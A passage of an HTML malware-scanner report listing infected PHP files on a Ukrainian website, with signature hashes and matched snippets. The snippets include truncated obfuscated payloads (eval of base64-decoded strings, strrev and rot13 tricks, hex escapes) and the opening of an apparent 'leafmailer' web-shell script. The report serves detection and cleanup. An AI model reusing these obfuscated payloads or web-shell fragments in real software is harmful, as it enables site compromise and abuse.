<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_397").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/uhbeb.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:44:02</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:44:02</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_398" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_398").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/njbrb.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 18:34:29</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 18:34:29</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_399" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_399").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/hurdy.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.20 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-09 14:09:21</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_400" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 891</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_400").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/skydh.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:46:20</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:46:20</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_401" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
